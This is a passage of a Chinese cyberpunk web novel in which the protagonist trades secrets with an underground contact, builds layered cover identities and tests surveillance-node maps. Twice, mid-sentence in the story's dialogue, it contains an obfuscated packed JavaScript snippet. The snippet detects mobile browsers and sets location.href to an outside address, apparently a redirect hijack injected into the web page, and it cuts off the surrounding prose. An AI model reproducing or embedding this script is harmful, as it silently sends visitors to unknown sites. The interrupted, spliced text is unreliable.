林越点头,离开工坊。 他坐公共轨道列车前往第七区。车上人不多,每个人都安静地坐着,神经接口的指示灯在脖颈后微微闪烁——那是数据流动的迹象。没有人交谈,没有人对视,每个人都沉浸在自己的数据世界里,或者……假装沉浸。 林越看着窗外的城市景象。高楼林立,全息广告牌闪烁,无人机在楼宇间穿梭。一切井然有序,一切都被监控。 13:40,林越到达第七区商业街。 他找到了那家“神经接口快速维修”店。店面很小,玻璃门上贴着磨砂膜,看不清里面。门口有个简单的招牌:“快速维修、数据恢复、临时接入”。 林越推门进去。 店里很暗,只有柜台后面有一盏小灯。一个老头坐在柜台后,手里拿着个老式数据板,头都没抬。 “什么业务?”老头声音沙哑。 “临时接入,一小时。”林越说。 老头抬头看了他一眼,眼神浑浊但锐利。“哪种接入?公开网络还是……其他?” “其他。”林越说。 老头点点头,从柜台下拿出一个小型设备。“隔离接入舱,后间。每小时50数据币。先付钱。” 林越用神经接口转账。50数据币——他四天工资的四分之一。 老头收了钱,指了指店铺后面的一个小门。“进去吧。设备自己会操作。一小时后自动断开。别搞事,搞事了我也不知道你是谁。” 典型的灰色地带规则:不问身份,不管用途,出事自己负责。 林越推开小门,里面是个不到三平米的小房间。中间摆着一张椅子,椅子后面连着各种线缆,终端是个老式的神经接口适配器——不是直接植入皮肤的那种,而是外接式头盔。 他戴上头盔,调整好位置。 “接入倒计时:5、4、3、2、1……” 视野切换。 视野从黑暗转为灰色。 不是视觉上的灰色,而是数据层面的“质感”。林越回到了匿名数据层,那个气泡漂浮、加密标签闪烁的混乱空间。 他根据记忆中的坐标,在意识中构建路径。不是直接“走”过去,而是通过一系列思维指令,在数据层的拓扑结构中导航。 坐标指向一个临时的会面节点。节点很小,隐藏在几个大型数据包的阴影里,不仔细找根本发现不了。 林越“进入”节点。 里面是一个极简的空间:纯黑色背景,中间悬浮着一个白色的输入框。没有其他界面元素,没有说明,没有欢迎语。 “这加密空间简陋得像是用系统默认模板拼出来的,连个‘欢迎光临’的虚拟横幅都舍不得加。”林越内心吐槽,“老枪的审美,大概和他的代号一样——复古,且实用主义至上。” 他等了三秒。 输入框里自动出现一行字,像是打字机效果,一个字一个字跳出来: 老枪:准时。很好。 林越输入:墨客:不敢迟到。 老枪:身体恢复了?昨天那场深度扫描,普通人至少要躺三天。 墨客:恢复了七成。头痛,神经接口有灼烧感。系统建议休息,但我没时间。 老枪:因为死过了? 林越心里一紧。老枪知道红痕的事?还是猜的? 他谨慎回应:墨客:你知道? 老枪:我看到了扫描记录。系统记录你“生理中断”,结合你之前的DNA异常标签,不难猜。重点是:中断后,你的威胁度上升了1%。解释一下。 直入主题。没有寒暄,没有铺垫。 林越深吸一口气(在数据空间里这只是意识动作),开始讲述准备好的故事。 他输入得很慢,一个字一个字,确保逻辑连贯: 墨客:我是非法基因实验的志愿者。或者说,受害者。实验主题是认知异常激活与人体适应性研究。时间在2038年左右,地点在第七区的地下实验室。实验使用了“应激激活”技术——修改实验者的基因,使其在极端压力下激活认知异常片段。目的是测试实验体在危机情况下的适应性。 墨客:实验被紧急叫停,因为伦理问题和样本来源不明。大部分数据被销毁,我是少数几个“成功”案例。但留下了后遗症:我的威胁度会在极端压力下波动。昨天的深度扫描是极端压力,所以威胁度上升。 他停顿了一下,观察反应。 输入框沉默了几秒。 然后新文字出现: 老枪:实验代号?负责人?具体技术细节? 追问。这是预料之中的。 林越继续: 墨客:实验代号我只知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151927|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是“λ研究”。负责人代号“研究员-λ”。具体技术细节我不清楚,我只是志愿者,不是研究员。但我知道实验使用了某种异常共振技术,样本来源……据说是“非正规渠道”。 老枪:非正规渠道是什么意思? 墨客:字面意思。实验方没有明确说明样本来源,但暗示过“来自历史数据碎片的实体化”。听起来很玄,但我猜可能是从某些古老遗迹或考古发现中提取的基因样本。 林越故意引入“历史数据碎片实体化”这个概念。这与他威胁度的官方描述“异常数据模式威胁度”形成了呼应,增加了故事的可信度。 又是几秒沉默。 老枪:有趣的解释。有几个问题。第一,为什么系统数据库里没有这个实验的完整记录?第二,为什么其他实验者没有类似报告?第三,你是怎么逃过系统审查,成为临时公民的? 三个问题,每个都切中要害。 墨客:第一,实验被叫停后,数据可能被加密封存或部分销毁。系统数据库里可能只有碎片记录。第二,其他实验者可能已经……被处理了。我是少数幸存者。第三,我用了伪造的身份数据,通过了基础审查。但DNA异常是隐藏不了的,所以被标记为重点观察。 老枪:伪造的身份数据从哪里来? 墨客:黑市。花了积蓄。 老枪:黑市联系人? 墨客:已经联系不上了。那个人在我获得临时公民身份后就消失了。可能被系统处理了。 林越把线索引向“消失”,切断追溯可能。 输入框再次沉默。这次沉默更久。 林越等待,心里评估:老枪在验证?在思考?在调查? 自嘲的念头冒出来:“这追问的架势,堪比期末考试时监考老师站在你身后看你答题。而且这老师还带了作弊检测仪。” 终于,新文字出现: 老枪:你的解释有漏洞,但至少能自圆其说。而且……和我知道的一些碎片信息对得上。 老枪:所以,你是个实验事故的幸存者,带着不稳定的认知异常,在系统眼皮底下躲藏。现在你被重点观察,威胁度还在上升,离50%的阈值越来越近。一旦超过50%,系统要么把你收编为研究工具,要么把你清除。 老枪:你需要出路。而我……需要一些东西。 谈判开始了。 墨客:你需要什么? 老枪:上次的交易只是测试。这次正式一点。我需要信息筛选师内部的完整观察报告,包括系统对各类异常行为的判定逻辑、标记标准、优先级调整规则。不是具体数据,是方法论。 老枪:作为交换,我可以给你:监控节点分布图(基础版),覆盖第七区和部分中心区域。包括认知异常节点的具体位置、触发条件、规避方法。 林越思考。 监控节点分布图——这正是他需要的。昨天就是栽在认知异常节点上,如果有分布图,就能规避类似风险。 但信息筛选师内部的完整方法论……这涉及更深层的系统机密。提供出去,风险更大。 他讨价还价: 墨客:完整方法论风险太高。我可以提供核心观察点总结,基于我目前接触到的数据层级。完整方法论需要更高级别权限,我没有。 老枪:那就核心总结加上你获取这些信息的方法。你是怎么观察到系统判定逻辑变化的? 墨客:通过对比不同时间段的筛选任务指令、分析系统反馈的模式、记录标记标准的微调。需要大量数据样本和模式识别能力。 老枪:听起来你在这方面很有天赋。 墨客:生存所迫。 老枪:好。交易内容调整:你给我核心观察点总结加观察方法;我给你监控节点分布图(基础版)。同时,你欠我的人情,需要分阶段偿还。 墨客:分阶段偿还是什么意思? 老枪:我会有一些任务需要你帮忙。不一定是现在,可能是未来某个时间。每次任务完成后,债务减少一部分。直到还清。 林越皱眉。这种开放式债务很危险。但他现在需要监控节点分布图。 他试探: 墨客:任务性质?风险级别? 老枪:信息收集、数据访问、系统测试。风险可控,我会提供工具和支持。不会让你送死——你现在只有两条命,死了对我也没好处。 墨客:我需要保留拒绝权。如果某个任务风险超出我能接受的限度,我有权拒绝。 老枪:可以。但如果拒绝,需要用其他方式补偿。比如……提供其他有价值的信息。 墨客:成交。 谈判完成。 林越心里松了口气,但警惕没有放松。这种债务关系就像签了份没有明确条款的合同,执行起来全靠双方默契——而在灰色世界里,默契往往很脆弱。 老枪:现在,第一次信息交换。你把观察点总结放在这个坐标:[加密坐标1]。我确认后,会把监控节点图放在这个坐标:[加密坐标2]。全程加密,中间跳板。 老枪:给你十分钟准备。 林越退出会面节点,回到匿名数据层的主空间。 他需要整理观察点总结。内容已经在脑子里,只需要加密打包。 但他没有立刻行动,而是先检查了一下周围环境。 数据层里气泡的数量似乎比昨天多了一些。有几个气泡在缓慢移动,轨迹异常——不像普通的点对点传输,更像在……巡逻? 系统监控节点?还是老枪的“眼睛”? 林越保持低调,找了个相对隐蔽的位置,开始加密打包数据。 他使用了老枪之前提供的加密工具,设置了解密密钥(老枪知道密码)。打包内容包括: 1.异常行为判定阈值变化趋势(具体数据) 2.重点监控对象类型演变(分析图表) 3.数据再教育流程加速证据(时间对比) 4.临时公民评估新维度解读(推测逻辑) 总数据量不大,但信息密度高。 打包完成后,他按照老枪提供的坐标,将数据包放置在指定的存储节点里。节点是一次性的,放置后自动加密,只有持有密钥的人能打开。 放置完成。 林越等待。 三分钟后,他检查另一个坐标。 监控节点分布图已经在那里了。 他下载、解密。 图是交互式的,可以在神经接口里直接查看。林越快速浏览: 监控节点分布图(基础版) ?覆盖范围:第七区全境,中心区域30% ?节点类型:公共监控、生物识别、数据流分析、特殊类别(包括认知异常) ?认知异常节点位置:标注了三个具体坐标,都在第七区。其中一个就是他昨天触发警报的位置。 ?触发条件:详细列出了会触发该节点警报的数据访问类型,包括“V3.0后门访问特定商业数据库”、“高频率基因数据查询”、“异常生物特征波动”等。 ?规避方法:建议使用流量伪装、延迟访问、分散查询等技巧。 图的精度很高,显然不是随手画的。老枪要么有系统内部权限,要么花了大量时间侦查。 林越记住了关键信息,然后将图从神经接口里删除——不留痕迹。 这时,他收到老枪的最后一条消息: 交易完成。图上有我加的标记,红色区域是高风险,黄色是中风险,绿色是相对安全。建议先从绿色区域开始测试。 下次联系等我通知。保持低调,别再做昨天那种蠢事。 ——老枪 消息结束后,会面节点自动销毁。 坐标失效。 林越退出了匿名数据层。 24.三层伪装 视野从灰色切回现实。 林越摘下神经接口头盔,空气里有股陈旧电子设备和灰尘混合的气味,不算好闻,但至少真实。 他看了一眼时间:14:15。会面结束,交易完成。 现在,他手里有了监控节点分布图,但也背上了老枪的“分阶段债务”。这感觉,像是在暗网上办了张信用卡,额度未知,还款条款模糊,而催收方随时可能找上门。 “得给自己上个‘三重保险’了。”林越想。 回到公民服务中心宿舍后,他锁好门,坐在床上,开始系统性地构建伪装体系。 在龙语世界,他学会了基本生存法则;在这个数据透明的世界,他需要的是“身份管理法则”。核心原则是:永远不能让系统(或任何人)看到完整的你。 他把伪装体系分成三层: 第一层:表面身份(林越,临时公民,信息筛选师学徒) 这一层是给系统看的。要符合“努力转正的好公民”形象,行为模式必须稳定、可预测、符合规范。 优化方案: 1.工作表现:筛选任务准确率维持在93%-95%之间,既不过高(引起注意),也不过低(影响转正)。 2.社会活动:每周参与一次“社区数据清理”志愿活动,每次时长30-40分钟,提升社会适应性分数。 3.数据消费:神经接口日常使用记录要“正常”——每天浏览30-60分钟公开新闻、科技资讯、娱乐内容(比例7:2:1),偶尔搜索生活技巧,绝不碰敏感话题。 4.生理指标:维持规律的作息、饮食、运动(即使只是宿舍里的基础拉伸),让健康数据看起来稳定。 “这表面身份,就像简历上那些‘熟练掌握Office办公软件’——大家都写,写了也没人细究,但没写就显得你不够‘专业’。”林越内心吐槽,“不过我的‘Office’是监控系统,一不小心就会自动生成‘辞退通知书’。” 第二层:灰色身份(墨客,匿名数据层探索者) 这一层是给老枪(以及未来可能接触的其他灰色地带人物)看的。要展现价值,但隐藏真实动机。 构建要点: 1.行为模板:使用“谨慎的研究员”模板——查询时注重数据来源验证,多次确认安全性,行动前必做风险评估。 2.专业领域:聚焦“系统监控机制分析”和“数据流异常检测”,这是老枪感兴趣的方向,也符合他的信息筛选师身份背景。 3.交流风格:简洁、专业、略带距离感。不过度分享个人信息,不表达强烈情绪,保持“技术合作者”的定位。 4.工具准备:老枪提供的流量伪装、痕迹擦除工具要熟练掌握,同时自己也要寻找备用工具(通过匿名数据层交易获取)。 “灰色身份就像在游戏里开小号。”林越想,“大号是‘遵纪守法好公民’,小号是‘专挖系统漏洞的技术流’。两个号不能有任何关联,登录IP、操作习惯、交流对象都要完全隔离——否则就是‘封号双杀’大礼包。” 第三层:应急身份(未命名,极端情况使用) 这一层是保命用的。只有在表面身份和灰色身份都面临暴露风险时才会激活。 设计原则: 1.完全离线:不使用神经接口,不接入任何公共网络,物理隔绝。 2.现金交易:储备一定量的实体货币(数据币有兑换记录,现金更难追踪)。 3.安全屋:寻找至少两个可以短期藏身的地点,避开主要监控区域。 4.撤离路线:规划多条从工作地点、宿舍、常去区域撤离的路线,并实地走过一遍。 5.身份切换包:准备一套可以快速改变外貌的简单道具(帽子、眼镜、外套),以及一套备用身份文件(伪造,但质量要高)。 “应急身份就像电脑里的‘安全模式’。”林越分析,“平时用不到,但系统崩溃时是唯一的救命稻草。而且进入安全模式后,很多功能用不了——就像我如果启用了应急身份,就得放弃神经接口的大部分便利,回归原始生存状态。” 三层架构建立完成后,林越开始细化执行计划。 首先是表面身份的优化。他花了半小时调整了神经接口的个人设置:增加了几个“正常”的兴趣标签(园艺、基础编程、古典音乐),设置了每日数据消费提醒,还订阅了两个公民教育频道。 “这感觉,像在给自己的人物卡加点。”林越看着设置界面,“力量(工作能力)、敏捷(社会适应性)、智力(知识储备)……可惜没有‘幸运’属性可以加,不然我全点上。” 然后是灰色身份的工具准备。他测试了老枪提供的几个新工具:数据包加密器、IP跳转模拟器、行为模式混淆器。每个工具都运行正常,但林越注意到一个细节:这些工具的运行日志都会自动上传到某个加密地址。 “老枪留了后门。”林越并不意外,“就像免费软件里的用户行为跟踪——你可以用,但开发者想知道你怎么用。好在这些工具本身没问题,只是需要额外处理一下日志。” 他用自己编写的简单脚本覆盖了日志上传功能,改为本地加密存储。虽然技术含量不高,但至少能防止老枪实时监控他的每一次灰色活动。 “这算不算‘用魔法打败魔法’?”林越内心吐槽,“用代码对抗代码,用监控反制监控。现代社会的生存技能树,真是越来越歪了。” 最后是应急身份的物资储备。林越去了第七区的几个二手市场,用现金购买了: ?一顶普通的鸭舌帽(黑色) ?一副平光眼镜(无度数) ?一件可以反穿的外套(一面灰色,一面深蓝) ?一个小型防水包(能装下必需品) ?三天的压缩食品和水 总花费:120数据币(现金)。 “120数据币,够我吃十天合成营养餐了。”林越看着手里的应急包,心里计算,“但现在换来的可能是关键时候的24小时逃生窗口。这投资回报率,比大多数理财产品都高——前提是你真的用得上。” 物资准备好后,他找到了两个潜在的安全屋: 1.第七区边缘的一座废弃数据中转站:建筑结构完整,入口隐蔽,内部有多个隔间。缺点是离主城区远,交通不便。 2.黑水酒吧后巷的一个储物间:老板同意在“特殊情况下”短期租用(价格未谈)。优点是位置在0%监控区边缘,相对安全。缺点是依赖酒吧老板的善意,不稳定。 “选择一像是买了份长期保险,缴费高但保障全面;选择二像是找了个月付的合租房,便宜但随时可能被房东赶出去。”林越权衡后,决定两个都保留,“成年人不做选择,都要——虽然这意味着我得准备双份的‘应急资金’。” 三层伪装体系构建完成时,已经是第五天晚上。 林越靠在宿舍床上,看着自己整理出来的体系图。表面、灰色、应急,三层之间用虚线隔开,标注了切换条件和风险等级。 “这架构设计,堪比公司里的微服务系统。”他内心吐槽,“每个服务独立运行,通过API(我的大脑)通信,负载均衡(时间分配),故障隔离(一层暴露不影响其他)。就差写个技术文档,然后开个评审会了。” 但他知道,架构只是纸上谈兵。真正的考验是执行。 而第一次考验,就在明天。 第五天的工作相对平静。 林越按照表面身份优化计划,认真执行筛选任务,准确率维持在93%。下班后,他参与了半小时的“社区数据清理”志愿活动——在公共数据库里标记了37条垃圾信息。系统记录显示,“社会适应性”分数上升了2点。 表面一切正常。 但在这正常的表层之下,灰色身份的活动开始了。 晚上八点,林越在宿舍里启动灰色身份工具包。他选择了“谨慎的研究员”行为模板,生成临时身份标识,接入匿名数据层。 目标:测试监控节点分布图的准确性。 他选择了分布图上标注为“绿色”(相对安全)的区域——第七区东部的一个数据交换节点。按照老枪提供的规避方法,他使用流量伪装工具,将查询伪装成系统维护流量。 查询内容很简单:公开的城市能耗数据,低敏感度。 访问过程顺利,没有触发警报。 “测试很顺利,顺利得让人不安。”林越内心吐槽,“就像考试时发现所有题都会,反而怀疑是不是拿错了试卷。” 他接着测试“黄色”(中风险)区域——第七区中部的一个生物识别监控节点。这次查询的是公民健康数据统计(匿名聚合版),敏感度中等。 访问过程稍有延迟,但依然没有警报。 林越记下测试结果:分布图准确率至少在90%以上。老枪提供的信息质量很高。 但他没有测试“红色”(高风险)区域。太危险,现在不是时候。 测试完成后,林越开始调查另一个线索:认知异常节点与“数字遗民再教育系统”的关联。 昨天在监控节点分布图上,他注意到一个细节:认知异常节点的三个坐标中,有一个靠近“数字遗民再教育中心”的数据接口。老枪在图上标注了关联度:67%。 这意味着什么? 林越通过灰色身份,小心地查询数字遗民再教育系统的公开信息。 系统描述很官方:“为离线公民提供社会适应性再教育,帮助其重新融入数据透明化社会。” 但实际过程,林越在归档库亲眼见过——那是意识格式化,人格抹除。 他查询了再教育系统的统计数据:年度处理人数、成功率、重返社会率。 数据看起来“很好”:年度处理约5000人,成功率85%,重返社会率72%。 但林越注意到了异常:这些数据没有细分。没有按年龄、性别、职业、离线原因等分类。只有一个笼统的总数。 “数字遗民再教育,听起来像‘成人高考速成班’,实际上是‘人格格式化流水线’。”林越看着那些光鲜的数据,心里冷笑,“这宣传文案涉嫌虚假广告,应该罚款——虽然罚款也是交给系统,相当于左口袋出右口袋进。” 他继续深入,发现了更隐秘的信息:再教育系统有一个“特殊处理”分类,占比约15%。这个分类的数据完全保密,连基本统计都没有。 特殊处理的对象是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151928|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?为什么保密? 林越想起名单上那个备注:“C-03:数字遗民(再教育中),威胁度48%,状态:意识格式化进度73%”。 异常数据模式威胁度高的人,会被送入再教育系统?作为“特殊处理”对象? 如果是这样,那他的处境就更危险了。不仅可能被系统收编为研究工具,还可能被强制“再教育”——意识格式化。 这个发现让林越背脊发凉。 但同时,他也注意到老枪的兴趣点:老枪明显在调查认知异常相关的秘密,而且对再教育系统特别关注。 “老枪这么关心认知异常,该不会是想开个‘史前基因主题公园’吧?”黑色幽默的念头又冒出来,“门票用数据币支付,VIP套餐送一次‘基因激活体验’。” “或者……他其实是个‘基因考古学家’,专门挖别人DNA里的‘黑历史’,然后做成NFT卖钱?” 玩笑归玩笑,林越知道老枪的动机肯定更复杂、更危险。但他现在需要老枪的资源,所以只能合作,同时保持警惕。 晚上十点,林越结束了灰色身份的活动。 今天收获: 1.验证了监控节点分布图的准确性。 2.发现了认知异常节点与数字遗民再教育系统的潜在关联。 3.对老枪的动机有了更多猜测。 但就在他准备退出时,意外发生了。 神经接口突然弹出一条提示: 检测到次级数据异常来源:匿名数据层查询记录 异常类型:查询模式与公民行为档案不符 状态:已标记,待分析 次级警报。不是紧急警报,但会被系统记录。 林越心里一紧。他立刻启动应急处理程序:使用老枪提供的痕迹擦除工具,尝试清除查询记录。 工具运行了三秒,然后提示: 清除完成(部分) 警告:底层痕迹无法完全清除,建议避免后续查询 “次级警报响了,老枪三秒内搞定。这响应速度,比外卖平台的‘准时宝’还靠谱。”林越想起老枪之前处理警报的快速,现在自己操作才发现难度。 但他也意识到:“不过,警报能处理,说明问题还存在。就像用透明胶带粘碎掉的屏幕,看着能用,实则脆弱。” 他退出匿名数据层,回到现实。 今晚不能再活动了。系统可能已经注意到了异常,只是还没触发深度扫描。 林越躺在床上,复盘今天的行动。 漏洞在哪里?可能是查询数字遗民再教育系统时触发了某个监控机制。或者,他的行为模式虽然伪装了,但与表面身份的“林越”差异太大,被系统检测到了不一致。 他需要更谨慎。或者……需要更好的伪装工具。 这时,他收到了老枪的消息。 不是通过常规渠道,而是通过三层伪装架构中的应急通讯通道——一个只有他们两人知道的加密路径。 消息很短: 检测到你的次级警报。查询了敏感话题?建议暂停活动24小时。系统在调整监控策略。另外:黑水酒吧的0%监控区可能是早期系统漏洞遗留,不是特权。调查一下。——老枪 然后,在老枪消息的最后,林越注意到一个细微的变化:老枪的语气突然变得急促,像是被打断了。 消息追加了一行,但只有半句: 第三方介入,我…… 然后通讯被强制切断。 林越盯着那半句话,心里升起不祥的预感。 第三方介入?谁?系统?还是其他势力? 老枪的通讯被切断了,说明对方技术能力很强,或者……有更高权限。 更让他不安的是:黑水酒吧的0%监控区是系统漏洞遗留? 这意味着什么?意味着黑水酒吧可能不是拥有特权,而是卡在了系统的某个bug里。这个bug可能随时被修复,也可能……被其他势力利用。 “黑水酒吧的0%监控区,像系统更新时漏掉的补丁。”林越分析,“开发人员写了个‘//TODO:这里需要监控’,然后这个TODO一待就是十年。早期漏洞遗留……这说明再完美的系统,也有‘祖传代码’问题。程序员穿越千年都要面对的技术债,真是行业诅咒。” 但现在不是感慨的时候。 第三方势力介入。老枪通讯中断。黑水酒吧的秘密。认知异常与再教育系统的关联。 这些线索像拼图碎片,但林越还缺关键几块。 他看了一眼时间:晚上十一点。 身体疲惫,但大脑异常清醒。 “第三方势力?该不会是‘系统的系统’吧?”他内心吐槽,“我这是掉进了监控社会的俄罗斯套娃里?” 但他知道,答案不会自动浮现。他需要继续调查,继续伪装,继续……在这个裸奔的时代,穿好他的三层马甲。 林越闭上眼睛。 “明天再想吧,现在脑子需要‘系统更新睡眠补丁’。希望别做噩梦,最好是梦到不用写报告的和平世界。” 在意识沉入睡眠之前,他最后看了一眼左手腕。 两道红痕,在昏暗的房间里,依然鲜艳如血。 25.伪装测试 第六天早上,林越在公民服务中心的单人床上醒来。 醒来的第一件事,不是睁眼,而是感受。 感受左手腕的皮肤——那里有两道红痕,像用最细的笔蘸着鲜血画上去的,鲜艳,刺目,提醒着他只剩两条命。感受神经接口处细微的灼烧感,那是昨天测试监控节点留下的后遗症,像熬夜写代码后太阳穴的胀痛,持续而恼人。 他坐起身,拉开窗帘。新长安城的早晨灰蒙蒙的,天空像是被一层薄薄的数据雾笼罩,分不清是自然天气还是全息投影的背景板。远处的建筑轮廓在雾中若隐若现,只有霓虹灯招牌24小时不息地闪烁,红蓝绿黄,交替变幻,像这个城市永不停歇的心跳。 或者说,像系统监控节点的指示灯。 林越检查个人数据面板。 威胁度状态: 异常神经数据模式威胁度:43%(无变化) 状态:重点观察-极端生理压力关联 备注:威胁度稳定,建议定期健康监测 社会信用积分: 当前积分:77(+2,昨日社区数据清理志愿活动奖励) 评估:良好,继续保持 其他标签: 临时公民身份:有效(剩余评估时间:24天) 离线计时:0小时(正常)推 荐行动:今日适宜参与集体数据优化任务 43%。没变。 林越盯着那个数字,心里计算:从穿越到这个世界的第三天开始,威胁度从37%升到42%,死亡后升到43%,然后稳定了。如果这真是“死亡激活”现象,那意味着什么?每死一次,他的异常神经数据模式就更突出一点? “这升级机制,比游戏里打怪涨经验还离谱。”他内心吐槽,“别人是越死越弱,我是越死越‘威胁度提升’。再死两次,是不是就能变身系统威胁,一口吞掉监控系统?” 黑色幽默缓解不了实质焦虑。他知道,威胁度越高,系统关注越强,离“数字遗民再教育”的椅子就越近。 但他现在有更重要的事要应付:上班。 深网数据工坊里,气氛和往常一样压抑而高效。 林越坐在工位上,机械地执行筛选任务。标记一条垃圾广告(房产投资,年化300%,可信度0.2%),审核一条用户投诉(邻居家的智能宠物狗半夜唱歌,涉及噪音污染),归档一条系统通知(第七区东部明日临时断电维护,时长2小时)。 准确率维持在93%。不高不低,正好符合“努力但尚有进步空间”的学徒形象。 但上午十点,陈主管走了过来。 她停在林越工位旁,手指在数据板上滑动,眉头微皱。周围的同事(包括完全透明的模范公民刘贤)都假装没看见,但林越能感觉到空气里多了点什么——不是数据流,是那种职场特有的、对“可能出问题同事”的微妙疏离感。 “林越。”陈主管开口,声音不高,但足够清晰,“跟我来一下。” 不是问句,是陈述句。 林越起身,跟着她走向工坊角落的小会议室。门自动关闭,隔音层启动,外面的数据筛选界面变成模糊的色块。 “坐。”陈主管指了指椅子,自己坐在对面。她手里的数据板转向林越,屏幕上是他的个人数据摘要,但有一个条目被高亮标红: 社会适应性分数异常波动(-5点) 时间:昨晚22:07-22:15 关联事件:查询模式与公民行为档案不符 处理状态:已标记,待解释 来了。 表面身份的第一个危机,准时抵达,像快递员敲门一样精准。 林越深吸一口气,调动《跨世界生存通用准则》第三条:面对质询时,保持冷静,提供合理且可验证的解释。 “陈主管。”他开口,语气尽量平稳,“这个异常波动,我可以解释。” 陈主管看着他,眼神里没有敌意,但有审视:“说。” “昨晚我在研究社区数据清理志愿活动的算法优化。”林越开始编造,每个词都斟酌过,“我发现目前的垃圾信息标记流程效率不高,有些重复性工作可以自动化。所以测试了几个不同的查询模式,想对比哪种筛选规则更有效。” 他停顿一下,观察陈主管的反应。对方没有打断,只是手指在数据板上轻点。 “可能测试时没注意查询频率,触发了系统的行为模式检测。”林越补充,“但我本意是想提升志愿活动效率,为社区数据清洁做更多贡献。” 这借口编得,堪比跟老板解释“我在研究如何提升工作效率,所以摸了半天鱼”。林越内心吐槽,但脸上保持着诚恳。 陈主管沉默了几秒,数据板上调出林越的其他记录:工作准确率93%、昨日社区数据清理37条、无离线记录、无违规访问。 “你的工作表现一直稳定。”她终于开口,“社会适应性分数之前也持续上升。这次波动……确实可能是算法测试导致的。” 林越心里一松。 “但是。”陈主管话锋一转,“系统对‘异常查询模式’很敏感。你是重点观察对象,异常神经数据标签特殊,更要谨慎。” 她站起身,数据板收回:“下次如果有类似的研究想法,提前报备。系统喜欢‘可预测’,不喜欢‘意外’。明白吗?” “明白。”林越点头。 危机暂时解除。但警告已经收到:表面身份不再是铁板一块,系统正在更仔细地观察他。 回到工位,林越看着筛选界面,心里计算:这次过关,是因为积累的“良好记录”起了缓冲作用。但如果再有下一次…… “就像信用卡逾期。”他想,“第一次打电话提醒,第二次收滞纳金,第三次直接上征信黑名单。我现在大概处于‘提醒’阶段,离‘黑名单’还有两步。” 两步。和他手腕上的红痕数量一样。 中午休息,林越找了个监控覆盖率92%的角落(工坊食堂最里面的座位),接入匿名数据层。 老枪依旧没有消息。 距离通讯被切断已经超过24小时。那个“第三方介入,我……”的半截消息,像悬在头顶的达摩克利斯之剑,不知道什么时候会落下。 林越在匿名数据层里漫无目的地“游荡”。这里还是老样子:加密数据包像深海气泡一样缓慢上浮、破裂;匿名用户的光标偶尔闪过,不留痕迹;远处有几个疑似监控节点的光团在巡逻,但距离很远。 然后他看到了那个数据包。 风格完全陌生。 老枪的数据包通常是复古打字机效果,字一个个跳出来,带点故作神秘的气息。眼前这个却简洁得像系统通知:纯白色背景,黑色字体,没有任何装饰,甚至连加密标签都用的最标准格式。 内容更简单: 我们知道老枪。我们也知道你的神经数据异常。不想谈谈“桥梁守护者协议”吗?——坐标:[12位加密字符串](24小时后自毁) 没有署名,没有多余信息,只有那个坐标,和一个明确的时间限制。 林越盯着那几行字,大脑快速分析: 1.技术能力:对方能在匿名数据层精准投放数据包,且风格“官方”,暗示要么是系统内部高级权限者,要么是技术实力极强的外部组织。 2.信息掌握:知道老枪(可能也监控了老枪与他的通讯),知道神经数据异常(系统记录?还是其他途径?)。 3.目的:“谈谈‘桥梁守护者协议’”——这个协议名称在第6章深度扫描时出现过,关联黑水滴标志。对方主动提及,要么是想合作(利用他),要么是想清除(消除隐患)。 4.风险:回应,可能落入陷阱;不回应,可能错过关键信息或激怒对方。 他决定暂时不回应。 坐标存入应急身份的独立数据空间,标注“潜在威胁-观察中-来源不明-关联桥梁守护者协议”。然后退出匿名数据层。 老枪失联,第三方露面。局势从“与单一技术债主周旋”变成了“在多方势力夹缝中求生”。 就像打游戏时,原本只有一个BOSS要躲,现在突然发现地图上还有好几个红名NPC在游荡,而且彼此可能还是敌对关系。 “生存难度从‘困难’升级到了‘地狱’。”林越嚼着合成营养餐,味同嚼蜡,“而且还没存档点。” 下午的工作在压抑中度过。 林越维持着93%的准确率,心里却在盘算另一件事:三层伪装体系的安全性测试。 老枪失联了,但他留下的工具包还在。这些工具是否有隐藏后门?是否依赖老枪的服务器验证?如果老枪真的被第三方处理了,这些工具会不会失效,甚至反过来成为陷阱? 下班后,林越回到宿舍,锁好门,开始系统测试。 第一层:表面身份测试 他接入公民公开数据库,查询“第七区年度能耗统计(聚合版)”。这是合规查询,但属于边缘类型——普通公民很少会查这个,通常是研究者或系统优化人员才会关注。 查询完成,无警报。但神经接口记录显示:查询被标记为“低优先级日志”,保存72小时。 结果:表面身份查询功能正常,但会留下记录。符合预期。 第二层:灰色身份测试 启动老枪工具包,选择“动态神经接口标识伪造器”。目标是访问一个“黄色”监控节点:公共安全数据库-匿名聚合版(犯罪类型分布统计)。 工具运行,生成临时标识,接入。 访问成功,数据返回:第七区过去30天,财产类犯罪占比47%,人身伤害类21%,数据违规类32%。无警报。 但林越注意到了异常:工具界面角落有一个极小的日志图标在闪烁。点开,发现工具自动生成了一份加密日志,内容是他刚才的访问记录,而上传地址……是一串无法解析的加密代码。 他尝试拦截上传,但日志已经发送完毕。 “老枪留了后门。”林越心里一沉,“工具能用,但所有使用记录都会自动上传给他——或者,现在可能上传给了第三方。” 这解释了为什么老枪能那么快发现他的次级警报,并协助清理。工具本身没问题,但有监控功能。 “这就像用了免费□□。”林越关闭工具,内心吐槽,“确实能翻墙,但你的浏览记录全在服务商手里。而且你还不知道服务商是谁,会不会某天把这些记录打包卖给你老板。” 第三层:应急身份验证 